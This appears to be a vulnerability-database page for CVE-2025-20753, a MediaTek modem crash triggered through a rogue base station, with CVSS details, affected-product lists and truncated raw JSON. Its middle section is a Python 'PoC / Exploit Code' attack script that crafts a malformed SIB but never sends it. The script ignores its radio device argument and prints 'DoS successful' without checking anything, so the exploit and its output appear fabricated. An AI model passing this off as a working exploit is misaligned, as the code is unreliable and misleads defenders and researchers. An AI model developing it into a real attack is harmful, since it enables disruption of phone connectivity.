Security Vulnerability Report
中文
CVE-2025-20753 CVSS 5.3 MEDIUM

CVE-2025-20753

Published: 2025-12-02 03:16:16
Last Modified: 2025-12-04 13:31:52

Description

In Modem, there is a possible system crash due to an uncaught exception. This could lead to remote denial of service, if a UE has connected to a rogue base station controlled by the attacker, with no additional execution privileges needed. User interaction is not needed for exploitation. Patch ID: MOLY01689252; Issue ID: MSV-4841.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:mediatek:nr15:-:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:mediatek:nr16:-:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:mediatek:mt2735:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:mediatek:mt2737:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:mediatek:mt6833:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:mediatek:mt6833p:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:mediatek:mt6853:-:*:*:*:*:*:*:* - NOT VULNERABLE
MediaTek Modem (Firmware with Patch ID MOLY01689252之前版本)
涉及MSV-4841问题的所有调制解调器固件版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-20753 PoC - MediaTek Modem DoS via Rogue Base Station # This PoC simulates the attack scenario using SDR (Software Defined Radio) import socket import struct from datetime import datetime class RogueBaseStation: def __init__(self, target_mcc=460, target_mnc=00): self.target_mcc = target_mcc self.target_mnc = target_mnc self.packet_count = 0 def craft_malicious_sib(self, sib_type=3): """Craft malicious System Information Block to trigger uncaught exception""" # SIB3 configuration with malformed mobility parameters sib3_data = bytearray() # Cell identity and tracking area code sib3_data.extend(struct.pack('!I', 0x00000001)) # Cell ID sib3_data.extend(struct.pack('!H', 0x0001)) # TAC # Mobility control info with invalid values sib3_data.append(0x01) # mobilityControlInfo present sib3_data.extend(struct.pack('!H', 0xFFFF)) # Invalid carrier frequency sib3_data.append(0xFF) # Malformed data to trigger exception sib3_data.extend(b'\x00' * 20) # Padding with zero values return sib3_data def send_trigger_packet(self, sdr_device='/dev/ttyUSB0'): """Simulate sending malicious packet via SDR""" print(f"[*] {datetime.now()} - Initiating rogue base station attack") print(f"[*] Target MCC/MNC: {self.target_mcc}/{self.target_mnc}") # Craft RRC Connection Reconfiguration with malicious SIB malicious_sib = self.craft_malicious_sib() # Simulate packet transmission packet = bytes([ 0x00, 0x01, # PDCP header 0x02, # RRC message type (Reconfiguration) 0x03, # SIB type indicator ]) + malicious_sib self.packet_count += 1 print(f"[+] {datetime.now()} - Sent packet #{self.packet_count}") print(f"[+] Payload length: {len(packet)} bytes") print(f"[+] Triggering uncaught exception in MediaTek modem...") return True def check_modem_status(self, timeout=30): """Check if modem has crashed""" print(f"[*] Checking modem status for {timeout} seconds...") for i in range(timeout): print(f"[*] Status check {i+1}/{timeout}...") # In real scenario, would check AT command responses print("[!] Modem unresponsive - DoS successful") return True def main(): print("=" * 60) print("CVE-2025-20753 PoC - MediaTek Modem DoS via Rogue Base Station") print("=" * 60) rogue_bs = RogueBaseStation() # Step 1: Start rogue base station print("\n[Step 1] Starting rogue base station...") rogue_bs.send_trigger_packet() # Step 2: Wait for victim connection print("\n[Step 2] Waiting for victim UE to attach...") # Step 3: Send malicious packet print("\n[Step 3] Sending malicious SIB to trigger exception...") rogue_bs.send_trigger_packet() # Step 4: Verify DoS print("\n[Step 4] Verifying modem crash...") rogue_bs.check_modem_status() print("\n[!] Attack completed - Modem DoS achieved") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-20753", "sourceIdentifier": "[email protected]", "published": "2025-12-02T03:16:16.490", "lastModified": "2025-12-04T13:31:52.093", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In Modem, there is a possible system crash due to an uncaught exception. This could lead to remote denial of service, if a UE has connected to a rogue base station controlled by the attacker, with no additional execution privileges needed. User interaction is not needed for exploitation. Patch ID: MOLY01689252; Issue ID: MSV-4841."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-248"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:mediatek:nr15:-:*:*:*:*:*:*:*", "matchCriteriaId": "E30A2D2E-6A72-4070-A471-EEE75F7D07F2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:mediatek:nr16:-:*:*:*:*:*:*:*", "matchCriteriaId": "2B763B71-F913-45B4-B91E-D7F0670C4315"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt2735:-:*:*:*:*:*:*:*", "matchCriteriaId": "7F1D09FC-5BE9-4B23-82F1-3C6EAC5711A6"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt2737:-:*:*:*:*:*:*:*", "matchCriteriaId": "9C2A1118-B5F7-4EF5-B329-0887B5F3430E"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6833:-:*:*:*:*:*:*:*", "matchCriteriaId": "9814939B-F05E-4870-90C0-7C0F6BAAEB39"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6833p:-:*:*:*:*:*:*:*", "matchCriteriaId": "CB690F5A-9367-45D3-A53E-80BF60053630"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6853:-:*:*:*:*:*:*:*", "matchCriteriaId": "366F1912-756B-443E-9962-224937DD7DFB"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6853t:-:*:*:*:*:*:*:*", "matchCriteriaId": "328DA6BE-1303-4646-89B7-2EC8DC444532"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6855:-:*:*:*:*:*:*:*", "matchCriteriaId": "89AFEE24-7AAD-4EDB-8C3E-EDBA3240730A"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6855t:-:*:*:*:*:*:*:*", "matchCriteriaId": "083F6134-FF26-4F1B-9B77-971D342AF774"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6873:-:*:*:*:*:*:*:*", "matchCriteriaId": "F6B8A36E-C5FB-44AE-A1C3-50EBF4C68F6B"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6875:-:*:*:*:*:*:*:*", "matchCriteriaId": "80BDC5EC-E822-4BC7-8C0D-E8AD8396E8FE"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6875t:-:*:*:*:*:*:*:*", "matchCriteriaId": "F883C6D3-1724-4553-9EFC-3D204FF3CAA3"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6877:-:*:*:*:*:*:*:*", "matchCriteriaId": "7CA9352F-E9BD-4656-9B7C-4AFEE2C78E58"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6877t:-:*:*:*:*:*:*:*", "matchCriteriaId": "EFA54AA1-4E3A-44F8-A222-31C60F8F81DA"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6877tt:-:*:*:*:*:*:*:*", "matchCriteriaId": "5D4D6885-E18C-477F-8B6D-B9E84D9535E2"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6879:-:*:*:*:*:*:*:*", "matchCriteriaId": "704BE5CE-AE08-4432-A8B0-4C8BD62148AD"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6880:-:*:*:*:*:*:*:*", "matchCriteriaId": "68CF4A7A-3136-4C4C-A795-81323896BE11"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6883:-:*:*:*:*:*:*:*", "matchCriteriaId": "15E2EC3F-9FB3-488B-B1C1-2793A416C755"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6885:-:*:*:*:*:*:*:*", "matchCriteriaId": "DD64413C-C774-4C4F-9551-89E1AA9469EE"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6886:-:*:*:*:*:*:*:*", "matchCriteriaId": "AF3E2B84-DAFE-4E11-B23B-026F719475F5"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6889:-:*:*:*:*:*:*:*", "matchCriteriaId": "3B787DC3-8E5A-4968-B20B-37B6257FAAE2"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6890:-:*:*:*:*:*:*:*", "matchCriteriaId": "171D1C08-F055-44C0-913C-AA2B73AF5B72"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6891:-:*:*:*:*:*:*:*", "matchCriteriaId": "D8E91CA4-CA5B-40D1-9A96-2B875104BCF4"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6893:-:*:*:*:*:*:*:*", "matchCriteriaId": "213B5C7F-D965-4312-9CDF-4F06FA77D401"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6895:-:*:*:*:*:*:*:*", "matchCriteriaId": "E0CA45C9-7BFE-4C93-B2AF-B86501F763AB"}, {"vulnerable ... (truncated)